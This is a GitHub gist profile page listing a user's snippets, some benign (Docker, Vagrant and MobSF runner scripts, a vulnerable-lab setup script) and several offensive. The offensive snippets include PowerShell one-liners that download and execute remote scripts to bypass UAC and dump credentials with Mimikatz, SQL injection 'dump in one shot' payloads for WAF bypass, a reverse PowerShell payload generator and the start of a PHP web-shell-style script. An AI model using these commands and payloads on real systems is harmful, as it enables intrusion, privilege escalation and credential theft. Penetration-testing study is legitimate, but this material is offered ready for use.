Skip to content

Instantly share code, notes, and snippets.

View zetc0de's full-sized avatar

zetc0de zetc0de

View GitHub Profile
<pre>
<php
echo system('ls -lah');
?>
@zetc0de
zetc0de / zetlab.setup
Last active December 14, 2020 01:22
zetlab autosetup
#!/bin/bash
# run with sudo
red="\e[1;31m"
reset="\033[00m"
bwapp="raesene/bwapp"
dvwa="citizenstig/dvwa"
nowasp="citizenstig/nowasp"
juiceshop="bkimminich/juice-shop"
bricks="citizenstig/owaspbricks "
sstichall="zetc0de/sstichall"
@zetc0de
zetc0de / mkpsrevshell.py
Created November 5, 2020 03:29 — forked from tothi/mkpsrevshell.py
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
@zetc0de
zetc0de / docker-setup.sh
Last active September 19, 2020 11:04 — forked from myugan/docker-setup.sh
Setup Docker and Compose on Ubuntu 18.04 machine
#!/bin/bash
red="\e[1;31m"
reset="\033[00m"
# Install dependency
echo -e "$red Installing dependencies...$reset"
apt install -y apt-transport-https ca-certificates curl software-properties-common
# Add GPG key
echo -e "$red Add GPG key...$reset"
@zetc0de
zetc0de / PythonVirtualenvMac.md
Created August 28, 2020 02:41 — forked from recto/PythonVirtualenvMac.md
Python 2 and 3 setup with virtualenv on Mac OS X

Python Installation

You can install the latest python 2 and python 3 by homebrew.

  • Python 2 Installation
brew install python
  • Python 3 Installation
/*<?php /**/
@error_reporting(0);
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@zetc0de
zetc0de / labs
Created February 11, 2020 13:09
Simple Vagrant runner, just for lazy user =)
#!/bin/bash
cm=$1
if [[ $cm == 'start' ]]; then
cd ~/Vagrant/labs &&
vagrant up &&
vagrant ssh
elif [[ $cm == 'stop' ]]; then
cd ~/Vagrant/labs &&
vagrant halt
@zetc0de
zetc0de / mobsf
Created February 11, 2020 13:08
Simple MobSF runner, separate your test and re-test environment
#!/bin/bash
if [ "$1" == "test" ]; then
if [ "$2" == "start" ]; then
teststart=$(docker start 7b46ed805e27)
echo "MobSF container on $teststart is started http://127.0.0.1:8000/"
elif [ "$2" == "stop" ]; then
teststop=$(docker stop 7b46ed805e27)
echo "MobSF container on $teststop is stopped!"
else
@zetc0de
zetc0de / dios-bypass-waf.txt
Last active May 2, 2024 09:05
DIOS (Dump In One Shoot) Collection bypass WAF
DIOS (Dump In One Shot) Collection
=======================================
concat_ws('<br>','zet',database(),version(),user(),@@hostname,(select(group_concat('<br>',table_name,':',column_name))from(information_schema.columns)where(table_Schema=database())))
(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.schemata)%20where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,schema_name))))x)
(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.tables)%20where%20(table_schema=database())%20and%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,table_name))))x)